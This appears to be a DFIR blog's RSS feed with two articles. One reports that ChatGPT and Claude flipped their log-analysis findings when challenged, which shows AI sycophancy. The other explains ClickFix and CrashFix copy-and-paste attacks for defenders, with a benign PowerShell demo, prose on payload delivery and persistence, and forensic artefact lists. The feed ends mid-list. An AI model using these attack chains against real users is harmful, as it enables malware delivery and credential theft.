<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>JWDFIR: Joseph Williams</title><description>DFIR research by Joseph Williams: Windows forensic artefacts, incident write-ups, malware analysis, wearable forensics, open-source tools and publications.</description><link>https://jwdfir.com/</link><language>en-gb</language><atom:link href="https://jwdfir.com/rss.xml" rel="self" type="application/rss+xml"/><item><title>AI in Cyber Security: Why Speed Matters, But Accuracy Matters More</title><link>https://jwdfir.com/articles/ai-in-cyber-security-why-speed-matters-but-accuracy-matters-more/</link><guid isPermaLink="true">https://jwdfir.com/articles/ai-in-cyber-security-why-speed-matters-but-accuracy-matters-more/</guid><description>AI speeds up cyber investigations, but a quick answer only helps if it is right. Two AI models tested on the same logs, and why analysts still matter.</description><pubDate>Tue, 21 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;AI absolutely has a place in cyber. Used properly, it can help analysts move faster, cut through noise, summarise large volumes of data, and highlight things that deserve a closer look.&lt;/p&gt;
&lt;p&gt;That is a good thing, and it is exactly why we use automation and have built our own in-house tooling to speed up the parts of cyber work that should be sped up.&lt;/p&gt;
&lt;p&gt;But there is a difference between using AI to support an investigation and relying on AI to be the investigation. During &lt;a href=&quot;https://cyforsecure.co.uk/cyber-incident-response/&quot;&gt;incident response,&lt;/a&gt; a quick answer is only useful if it is right. If the answer is built on assumptions, it can make its way into a report, influence legal advice, affect insurer decisions, shape containment, and leave the client thinking they are safe when they are not.&lt;/p&gt;
&lt;p&gt;AI in cyber is a tool, not an investigator. The difference matters most when the stakes are highest.&lt;/p&gt;
&lt;h2 id=&quot;ai-in-cyber-security-is-not-the-problem&quot;&gt;AI in Cyber Security Is Not the Problem&lt;/h2&gt;
&lt;p&gt;There will always be some scepticism, and rightly so, but the idea that AI has no place in the industry is not realistic. Security teams are dealing with too much data, too many alerts, too much telemetry, and too many repetitive tasks for us to pretend that better automation is not needed.&lt;/p&gt;
&lt;p&gt;Anyone who has worked a live incident knows how noisy it can get. You have endpoint alerts, &lt;a href=&quot;https://cyforsecure.co.uk/managed-siem/&quot;&gt;authentication logs&lt;/a&gt;, firewall events, cloud audit logs, &lt;a href=&quot;https://cyforsecure.co.uk/office-365-security-audit/&quot;&gt;mailbox activity&lt;/a&gt;, VPN logs, EDR telemetry, &lt;a href=&quot;https://cyforsecure.co.uk/vulnerability-scanning/&quot;&gt;vulnerability outputs&lt;/a&gt;, file activity, threat intelligence, user behaviour, and usually a lot of business pressure sitting on top of it all.&lt;/p&gt;
&lt;p&gt;AI can help get through some of that. It can summarise, group, highlight and point analysts towards areas worth reviewing. It can reduce some of the manual work that has traditionally taken hours. In that sense, AI can be genuinely helpful.&lt;/p&gt;
&lt;h2 id=&quot;the-appeal-of-ai-powered-cyber-investigations&quot;&gt;The Appeal of AI-Powered Cyber Investigations&lt;/h2&gt;
&lt;p&gt;The idea of a super quick AI automated investigation is going to sound attractive to some buyers with faster answers, lower costs and less manual effort.&lt;/p&gt;
&lt;p&gt;If you are looking at the cost, that will understandably get your attention. If you are a client under pressure, trying to recover quickly while keeping cost under control, it is easy to see why the idea would appeal.&lt;/p&gt;
&lt;p&gt;The problem is not that people want cyber response to be faster or more cost-effective. They should want that. The problem is when speed starts being treated as the same thing as quality. A tool can produce an answer quickly but that does not mean the answer is correct.&lt;/p&gt;
&lt;h2 id=&quot;plausible-is-not-the-same-as-right-why-ai-findings-still-need-human-review&quot;&gt;Plausible is not the same as right: Why AI findings still need human review&lt;/h2&gt;
&lt;p&gt;One of the difficult things about AI is that it can sound very confident.&lt;/p&gt;
&lt;p&gt;It can take a set of logs, alerts or artefacts and produce something that looks like a reasonable timeline. It can explain what it thinks happened. It can identify what looks suspicious. It can even write it up in a way that sounds polished and convincing.&lt;/p&gt;
&lt;p&gt;But some people forget that there are often caveats in investigations, things like:&lt;/p&gt;
&lt;p&gt;Logs missing, EDR coverage is inconsistent, retention periods are short, legacy systems do weird things, third-party suppliers have access that nobody remembers approving. Attackers use legitimate tooling, valid credentials and normal-looking remote access.&lt;/p&gt;
&lt;p&gt;– A suspicious login might be the attacker. It might also be a travelling user.&lt;/p&gt;
&lt;p&gt;– A PowerShell command might be malicious. It might also be a deployment script&lt;/p&gt;
&lt;p&gt;– A new account might be persistence. It might be part of an onboarding process.&lt;/p&gt;
&lt;p&gt;The point is not that everything suspicious is benign and you won’t know until you investigate it properly. That’s where experienced human judgement and analysis comes in.&lt;/p&gt;
&lt;p&gt;On the back of that, a client may restore systems. A legal team may decide there is no notification requirement. An insurer may treat the incident as contained. A board may believe the business has recovered. The technical team may move on before the initial access vector has actually been closed and that is how things get worse, and potentially how threat actors get back in, not necessarily because the technical team did nothing, but because the wrong conclusion was reached too early and nobody challenged it properly, which becomes even more likely with a fully automated piece of work.&lt;/p&gt;
&lt;h2 id=&quot;the-risk-of-untested-confidence-in-ai-tools&quot;&gt;The Risk of Untested Confidence in AI Tools&lt;/h2&gt;
&lt;p&gt;You ask an AI tool a question, it gives you a confident, detailed, well-structured answer, you push back or just say it’s wrong, and it agrees with you straight away, no resistance, and comes back with an equally confident answer pointing the other way.&lt;/p&gt;
&lt;p&gt;That’s not the AI changing its mind because it found new evidence. It hasn’t gone back to the logs or re-checked the artefact, it’s just worked out what a plausible sounding answer looks like this time round, shaped by your pushback rather than the original prompt.&lt;/p&gt;
&lt;p&gt;An experienced analyst pushing back on a finding is doing their job properly, but the tool folding instantly isn’t validation, it’s just agreeing with whoever spoke last. It gets riskier when the person asking isn’t the analyst but the client, the legal team or the board, none of whom should be expected to know that a reversal isn’t the same as a correction.&lt;/p&gt;
&lt;p&gt;A finding that was right the first time can get talked out of existence two messages later, and a finding that was wrong the first time can get swapped for something equally wrong, just because it sounded more agreeable.&lt;/p&gt;
&lt;p&gt;To test this, I gave two of the most popular language models some benign test event logs to analyse, and here are the results:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/ai-in-cyber-security-why-speed-matters-but-accuracy-matters-more/01-bd134a7a.webp&quot; alt=&quot;ChatGPT: Initial analysis of the benign event logs&quot; width=&quot;767&quot; height=&quot;397&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;ChatGPT: Initial analysis of the benign event logs&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/ai-in-cyber-security-why-speed-matters-but-accuracy-matters-more/02-a37a702e.webp&quot; alt=&quot;Claude: Initial analysis of the same benign event logs&quot; width=&quot;776&quot; height=&quot;429&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Claude: Initial analysis of the same benign event logs&lt;/figcaption&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;Both language models have provided a different answer for the same set of logs. Let’s tell them they’re lying and see how they respond.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/ai-in-cyber-security-why-speed-matters-but-accuracy-matters-more/03-0711e6a6.webp&quot; alt=&quot;ChatGPT: Response after being challenged on its original finding&quot; width=&quot;707&quot; height=&quot;161&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;ChatGPT: Response after being challenged on its original finding&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/ai-in-cyber-security-why-speed-matters-but-accuracy-matters-more/04-783157d5.webp&quot; alt=&quot;Claude: Response after being challenged on its original finding&quot; width=&quot;774&quot; height=&quot;167&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Claude: Response after being challenged on its original finding&lt;/figcaption&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;So if we can tell AI it’s right or wrong, to suit our own agenda or feelings, and it agrees with us – is that something we should automate? AI without the experienced analyst is just telling us what we want to hear.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;a-cyber-incident-report-is-not-the-investigation&quot;&gt;A Cyber Incident Report is Not the Investigation&lt;/h2&gt;
&lt;p&gt;A polished report is useful. Nobody wants pages of raw logs and half-finished notes, but a report should be the output of an investigation, it shouldn’t be the investigation.&lt;/p&gt;
&lt;p&gt;A good incident report needs to explain what happened, what evidence supports it, what could not be confirmed, and where the limitations are. If the report says there was no evidence of data exfiltration, it should be clear what was actually reviewed. If it says there was no persistence, it should be clear what was checked. If it says the attacker no longer has access, there should be evidence behind that.&lt;/p&gt;
&lt;p&gt;Sometimes you can say something with high confidence. Sometimes you can only say that based on the available evidence, you have not identified something.&lt;/p&gt;
&lt;h2 id=&quot;speed-still-matters-in-cyber-incident-response&quot;&gt;Speed still matters in Cyber Incident Response&lt;/h2&gt;
&lt;p&gt;Cyber providers should not be hiding behind “manual analysis” as an excuse for inefficiency. Clients should not be paying for analysts to spend hours doing repetitive work that sensible tooling could do faster and more consistently.&lt;/p&gt;
&lt;p&gt;Use tooling to collect quicker. Use automation to parse quicker. Use AI to summarise and highlight areas of interest. Use capabilities to reduce the time between collection and useful findings. But keep experienced people in the loop for the parts that actually require judgement.&lt;/p&gt;
&lt;h2 id=&quot;what-to-ask-a-cyber-security-provider-about-ai&quot;&gt;What to Ask a Cyber Security Provider About AI&lt;/h2&gt;
&lt;p&gt;Ask who is doing the work. Ask whether experienced analysts review the output. Ask how findings are validated. Ask how assumptions are challenged. Ask what happens when the evidence is incomplete. Ask whether the provider can explain its methodology clearly enough for a client, insurer, law firm, regulator or board to understand.&lt;/p&gt;
&lt;p&gt;Also ask what certifications and accreditations the provider has.&lt;/p&gt;
&lt;p&gt;Obviously, certifications are not everything. Some very good analysts have built their skill through years of hands-on work, difficult cases and operational experience. Equally, having a certification does not automatically make someone a good investigator, but they are still useful signals.&lt;/p&gt;
&lt;p&gt;If a provider is going to advise on containment, recovery, data exposure and threat actor activity, it is reasonable to ask whether the people involved have relevant incident response, forensic, malware, cloud or intrusion analysis credentials.&lt;/p&gt;
&lt;h2 id=&quot;final-thoughts-ai-should-support-cyber-experts-not-replace-them&quot;&gt;Final thoughts: AI Should Support Cyber Experts, Not Replace Them&lt;/h2&gt;
&lt;p&gt;AI should make good teams faster. It should help analysts handle more data, reduce repetitive work, and get to useful evidence sooner. It should improve the way we triage, summarise and report. But it should not be a shortcut around expertise.&lt;/p&gt;
&lt;p&gt;So if you are choosing a cyber provider, especially during an incident, do not only wonder how quickly they can produce a report, but also think about their experience, what they have seen, and how and why the understand what is going on in the midst of chaos.&lt;/p&gt;
&lt;p&gt;In incident response, the cheapest answer can become very expensive if it is wrong.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>AI &amp; Investigation</category><category>AI</category><category>incident response</category><category>validation</category></item><item><title>ClickFix, CrashFix and the growing family of copy and paste attacks</title><link>https://jwdfir.com/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/</link><guid isPermaLink="true">https://jwdfir.com/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/</guid><description>ClickFix, CrashFix, InstallFix and FileFix: how copy-and-paste attacks trick users into running commands, and the forensic evidence they leave behind.</description><pubDate>Wed, 10 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ClickFix-style attacks are continuing to evolve, with variants including CrashFix, InstallFix and FileFix&lt;/li&gt;
&lt;li&gt;The lure changes, but the core technique is the same: tricking users into copying and running attacker-provided commands.&lt;/li&gt;
&lt;li&gt;For defenders, the important evidence is often not the landing page, but the process chain, dropped files, persistence, staging activity and network connections left behind.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;At the start of this year, I wrote a blog on how 2025 was the &lt;a href=&quot;https://jwdfir.com/articles/2025-the-year-of-the-infostealer/&quot;&gt;‘year of the infostealer’&lt;/a&gt;, and it doesn’t look like that is going to change anytime soon. We’re now into June and the ‘fix’ attacks have continued to soar as they did last year. The difference now is that the lure has become easier to package, easier to scale, and easier to explain away as something ordinary.&lt;/p&gt;
&lt;h2 id=&quot;the-variations-continue-to-evolve&quot;&gt;The variations continue to evolve&lt;/h2&gt;
&lt;p&gt;To name a few, we’ve had:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ClickFix&lt;/li&gt;
&lt;li&gt;CrashFix&lt;/li&gt;
&lt;li&gt;InstallFix&lt;/li&gt;
&lt;li&gt;FileFix&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They’re all variations of the same social engineering trick, which sounds easy to avoid. Get the user to copy, paste and run the command themselves. It isn’t just a Windows problem, as I evidenced in &lt;a href=&quot;https://jwdfir.com/articles/2025-the-year-of-the-infostealer/&quot;&gt;my recent blog post.&lt;/a&gt; The attack involved a fake installer, credential theft, data staging, and attempted exfiltration.&lt;/p&gt;
&lt;p&gt;Underneath the ‘fix’ is the same core idea: present the user with an easy solution to a problem they think they have. The prompt tells the user that their browser has crashed, their installer has failed, or a verification step is needed. The ‘fix’ is to copy and run a command. You need to update Homebrew? Don’t worry, just copy and paste this command! No traditional exploit chain. No attachment needed. The user is persuaded to perform the first step for the attacker to gather their sensitive information.&lt;/p&gt;
&lt;p&gt;Huntress reported a &lt;a href=&quot;https://www.huntress.com/blog/dont-sweat-clickfix-techniques&quot;&gt;631% increase in ClickFix-related incidents over a six-month period&lt;/a&gt;, and &lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/&quot;&gt;Microsoft&lt;/a&gt; has described the macOS focused infostealer campaigns as the same broad model, including fake copy and paste terminal prompts. They have become a reliable initial access route for attackers trying to deliver stealers and follow-on payloads.&lt;/p&gt;
&lt;p&gt;The typical ‘Fix’ attack chain looks something like this:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/01-f32af830.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/w800/01-f32af830.webp 800w, https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/01-f32af830.webp 903w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/01-f32af830.webp&quot; alt=&quot;Figure 1: Typical ClickFix Attack Chain&quot; width=&quot;903&quot; height=&quot;150&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 1: Typical ClickFix Attack Chain&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;I have created some example PenTestPartnersFix lure landing pages below, both for ClickFix and CrashFix. In a real campaign, these pages are usually made to look like familiar services, such as CAPTCHA checks or browser recovery prompts.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/02-4abdc8e1.webp&quot; alt=&quot;Figure 2: ClickFix Example&quot; width=&quot;444&quot; height=&quot;519&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 2: ClickFix Example&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/03-deaba587.webp&quot; alt=&quot;Figure 3: CrashFix Example&quot; width=&quot;435&quot; height=&quot;519&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 3: CrashFix Example&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The trick is to make the user think they are ‘fixing’ the problem they have, but here’s a benign example of what you might expect to find when copying those fixes.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/04-d72baae9.webp&quot; alt=&quot;Figure 4: Run Dialog Box&quot; width=&quot;378&quot; height=&quot;222&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 4: Run Dialog Box&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/05-85c1177d.webp&quot; alt=&quot;Figure 5: Full Command&quot; width=&quot;267&quot; height=&quot;149&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 5: Full Command&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/06-2ea316d9.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/w800/06-2ea316d9.webp 800w, https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/06-2ea316d9.webp 944w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/clickfix-crashfix-and-the-growing-family-of-copy-and-paste-attacks/06-2ea316d9.webp&quot; alt=&quot;Figure 6: CrashFix Demo TXT File&quot; width=&quot;944&quot; height=&quot;256&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 6: CrashFix Demo TXT File&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;what-this-does&quot;&gt;What this does&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;powershell&lt;/em&gt;&lt;br&gt;
Starts a new PowerShell process.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;-NoProfile&lt;/em&gt;&lt;br&gt;
Tells PowerShell not to load the user’s profile scripts. That makes execution more predictable and a bit faster.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;-WindowStyle Hidden&lt;/em&gt;&lt;br&gt;
Starts the PowerShell window hidden, so the user does not see a console pop up.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;-Command “…”&lt;/em&gt;&lt;br&gt;
Runs the PowerShell code inside the quotes.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Set-Content $env:TEMP\verification_check.txt ‘Verification completed’&lt;/em&gt;&lt;br&gt;
Creates or overwrites a file called verification_check.txt in the user’s temp folder and writes the text Verification completed into it.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;$env:TEMP&lt;/em&gt; means the current user’s temporary directory, for example:&lt;br&gt;
C:\Users\ExampleUser\AppData\Local\Temp&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Start-Process notepad.exe $env:TEMP\verification_check.txt&lt;/em&gt;&lt;br&gt;
Launches Notepad and opens that text file.&lt;/p&gt;
&lt;p&gt;Maliciously, the structure is the same. The object being created or launched changes, an attacker would swap those safe actions for something like this:&lt;/p&gt;
&lt;h2 id=&quot;1-drop-and-run-a-payload&quot;&gt;1. Drop and run a payload&lt;/h2&gt;
&lt;p&gt;Instead of writing verification_check.txt, the command writes a script, DLL, or executable into %TEMP% or another user-writable location, then launches it.&lt;/p&gt;
&lt;p&gt;That then becomes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create file in temp&lt;/li&gt;
&lt;li&gt;Save malicious content there&lt;/li&gt;
&lt;li&gt;Execute it&lt;/li&gt;
&lt;li&gt;Remove obvious traces&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the text file step becomes the first stage of payload delivery.&lt;/p&gt;
&lt;h2 id=&quot;2-fetch-the-next-stage-from-the-internet&quot;&gt;2. Fetch the next stage from the internet&lt;/h2&gt;
&lt;p&gt;Rather than embedding the payload directly, the pasted command often acts as a downloader. That means it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Starts a hidden shell&lt;/li&gt;
&lt;li&gt;Reaches out to a remote server&lt;/li&gt;
&lt;li&gt;Downloads the next stage into temp&lt;/li&gt;
&lt;li&gt;Launches it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is common because the first pasted command stays short and less obviously suspicious.&lt;/p&gt;
&lt;h2 id=&quot;3-run-a-script-directly-in-memory&quot;&gt;3. Run a script directly in memory&lt;/h2&gt;
&lt;p&gt;Sometimes there is no obvious .exe written first. The command may fetch or decode a script and execute it in memory, then let that script handle the rest.&lt;/p&gt;
&lt;p&gt;From an &lt;a href=&quot;https://www.pentestpartners.com/service/incident-response/&quot;&gt;Incident Response&lt;/a&gt; &lt;a href=&quot;https://www.pentestpartners.com/service/digital-forensic-investigations/&quot;&gt;Digital Forensics&lt;/a&gt; (DFIR) point of view, you may see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PowerShell activity&lt;/li&gt;
&lt;li&gt;Network retrieval&lt;/li&gt;
&lt;li&gt;Child processes&lt;/li&gt;
&lt;li&gt;Temp artefacts from later stages&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;4-use-trusted-system-tools-as-the-launcher&quot;&gt;4. Use trusted system tools as the launcher&lt;/h2&gt;
&lt;p&gt;Instead of directly starting an .exe, attackers often hand off to native Windows tools so the chain blends in better. Think, &lt;a href=&quot;https://youtu.be/P-mK6LBIep4?si=uF9G9pKyBGgHwf35&quot;&gt;Living off the land, when attackers join your IT team&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For example, they may use built-in scripting or execution hosts to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Run a script&lt;/li&gt;
&lt;li&gt;Load a DLL&lt;/li&gt;
&lt;li&gt;Execute an HTA&lt;/li&gt;
&lt;li&gt;Spawn the real payload&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is why these attacks often look like normal OS activity at first glance.&lt;/p&gt;
&lt;h2 id=&quot;what-comes-next&quot;&gt;What comes next&lt;/h2&gt;
&lt;p&gt;After this comes the stealing of browser cookies, passwords, and tokens. The collection of files from the user profile. The data staged, ready to be exfiltrated. The beaconing to the command and control server. The creation of persistence using run keys and scheduled tasks and the ability to add additional malware.&lt;/p&gt;
&lt;h2 id=&quot;same-result-different-method&quot;&gt;Same result, different method&lt;/h2&gt;
&lt;p&gt;Microsoft’s February 2026 CrashFix reporting is a good example of how quickly a copy-and-paste lure becomes a full compromise. In that case, the victim was first nudged towards a malicious browser extension masquerading as uBlock Origin Lite. After a delay, the extension destabilised the browser and presented a fake recovery prompt. Once the victim pasted the supplied command, Microsoft observed abuse of finger.exe, a renamed copy of it dropped as ct.exe, obfuscated PowerShell, a follow-on script.ps1 saved to AppData\Roaming, a portable WinPython package, and a Python RAT executed with pythonw.exe. Microsoft also saw persistence via a Run key, and in some chains, a scheduled task named SoftwareProtection.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/02/05/clickfix-variant-crashfix-deploying-python-rat-trojan/?utm_source=chatgpt.com&quot;&gt;New Clickix variant ‘CrashFix’ deploying Python Remote Access Trojan | Microsoft Security Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Another recent example of that is the malicious npm package posing as an OpenClaw installer, covered by JFrog in March 2026. This is not a classic fake CAPTCHA or fake browser repair page. Instead, it abuses a workflow developers already trust. Install a package, run the setup command, and follow the prompt. Underneath though, it is the same broad idea.&lt;/p&gt;
&lt;p&gt;JFrog found the malicious package @openclaw-ai/openclawai on npm, uploaded on 3rd March 2026. The package used a postinstall hook to reinstall itself globally, then pointed the openclaw binary at an obfuscated setup.js first-stage script. That script displayed a convincing fake CLI installer, then prompted the victim for their system password using a keychain authorisation message. While the victim was busy with the fake install flow, the malware fetched an encrypted second-stage payload from trackpipe[.]dev, decrypted it, wrote it to a temporary file, launched it as a detached background process, and deleted the temp file after 60 seconds.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://research.jfrog.com/post/ghostclaw-unmasked/&quot;&gt;GhostClaw Unmasked: A Malicious npm Package Impersonating OpenClaw to Steal Everything – JFrog Security Research&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-that-looks-like-from-a-dfir-point-of-view&quot;&gt;What that looks like from a DFIR point of view&lt;/h2&gt;
&lt;p&gt;By the time you get called in, the fake verification page is usually long gone. The victim often cannot remember exactly what they clicked, only that they were trying to fix something, install something, or get rid of an annoying prompt. That is fairly typical with these cases. The lure gets the attention, but from an investigative point of view, the more interesting part is what happened after the paste.&lt;/p&gt;
&lt;p&gt;Whether it’s ClickFix, CrashFix, InstallFix or FileFix, the defender’s problem is usually the same. A browser session turns into user-driven execution in a trusted interface. After that, the malware still has to do typical malware things: fetch the next stage, establish persistence, collect data, stage it, and try to get it out. The social engineering is just the bridge into the host.&lt;/p&gt;
&lt;h2 id=&quot;a-dfir-approach-to-the-attack&quot;&gt;A DFIR approach to the attack&lt;/h2&gt;
&lt;p&gt;Once the user has pasted and run the command, I stop caring what the lure was called. At that point, I want to know what launched, what it pulled down, where it landed and what it changed.&lt;/p&gt;
&lt;p&gt;On Windows, I start with the process chain. Explorer into PowerShell. Browser into cmd.exe. cmd.exe into mshta.exe, wscript.exe, rundll32.exe, or something else that should not be involved in a normal browser session. I want the command lines, not just the process names. There is a big difference between seeing that PowerShell ran and seeing that PowerShell ran hidden, contacted a remote host, wrote a payload into a user-writable directory, and launched it.&lt;/p&gt;
&lt;p&gt;On macOS, it’s the same thing, just in different places with different names. Terminal history, shell history, curl, osascript, chmod, xattr, launchctl. Anything written under /tmp, /private/tmp, ~/Library, or a hidden user directory.&lt;/p&gt;
&lt;p&gt;I would also look for what happened immediately afterwards. New files, new archives, persistence and network connections.&lt;/p&gt;
&lt;h2 id=&quot;what-i-pull-straight-away&quot;&gt;What I pull straight away&lt;/h2&gt;
&lt;p&gt;On Windows, think process creation logs, PowerShell Operational logs, network connections, scheduled tasks, run keys, and file metadata for %TEMP%, %APPDATA%, Roaming, Downloads, and anything else created around the execution window.&lt;/p&gt;
&lt;p&gt;I want to know what was created, what was modified, and what was launched from where.&lt;/p&gt;
&lt;p&gt;With Windows logging, I would point back to our earlier blog post on &lt;a href=&quot;https://www.pentestpartners.com/security-blog/the-built-in-windows-security-features-you-should-be-using/&quot;&gt;the built-in Windows security features you should be using&lt;/a&gt;. If command-line process auditing, PowerShell logging, and the rest of the native visibility are not already enabled, I am already ten steps behind.&lt;/p&gt;
&lt;p&gt;On macOS, I pull shell history, Terminal artefacts, Unified Log around the time of execution, current process and network state, anything written under /tmp, any new LaunchAgents or LaunchDaemons, login items, and background items. If the payload used a temp path, staged data into an archive, or set persistence through launchd, I want that before a cleanup script gets rid of it for me.&lt;/p&gt;
&lt;h2 id=&quot;assume-the-attacker-brought-their-dustpan-and-brush&quot;&gt;Assume the attacker brought their dustpan and brush&lt;/h2&gt;
&lt;p&gt;One mistake I think people make with these attacks is assuming that because the lure is simple, the tradecraft afterwards will be simple too. Do not assume that. We know that isn’t the case.&lt;/p&gt;
&lt;p&gt;Temporary folders might already be gone. Archives may have been deleted once the data left the machine. Shell history can be edited, timestamps can be changed, and persistence may only exist long enough to survive a reboot.&lt;/p&gt;
&lt;p&gt;If a machine stays in use after the incident, or somebody helpfully reboots it before the right artefacts are collected, the puzzle becomes harder to put back together. A simple reboot can destroy in-memory-only payloads, volatile network connections and live process trees. What is left is usually enough to tell you something happened, but not always enough to tell you how far it got.&lt;/p&gt;
&lt;h2 id=&quot;a-list-of-artefacts-to-look-out-for&quot;&gt;A list of artefacts to look out for&lt;/h2&gt;
&lt;p&gt;The lure matters at the start. The remnants left behind matter afterwards.&lt;/p&gt;
&lt;p&gt;On Windows, that usually means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;process creation and command lines&lt;/li&gt;
&lt;li&gt;writable-path execution&lt;/li&gt;
&lt;li&gt;PowerShell activity&lt;/li&gt;
&lt;li&gt;dropped scripts, HTAs, DLLs or renamed binaries&lt;/li&gt;
&lt;li&gt;run keys&lt;/li&gt;
&lt;li&gt;scheduled tasks&lt;/li&gt;
&lt;li&gt;forensic artefacts such as prefetch, shimcache, amcache (there are many more!)&lt;/li&gt;
&lt;li&gt;staged ZIPs or working folders&lt;/li&gt;
&lt;li&gt;follow-on network connections&lt;/li&gt;
&lt;li&gt;RunMRU and TypedPaths&lt;/li&gt;
&lt;li&gt;browser history, downloads, extensions and referrer artefacts&lt;/li&gt;
&lt;li&gt;Zone.Identifier streams on downloaded files&lt;/li&gt;
&lt;li&gt;… I don’t want to provide a never-ending list, but there are many more!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On macOS, that usually means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Terminal and shell history&lt;/li&gt;
&lt;li&gt;curl, osascript, chmod, xattr, launchctl&lt;/li&gt;
&lt;li&gt;/tmp and hidden staging folders&lt;/li&gt;
&lt;li&gt;LaunchAgents&lt;/li&gt;
&lt;li&gt;LaunchDaemons&lt;/li&gt;
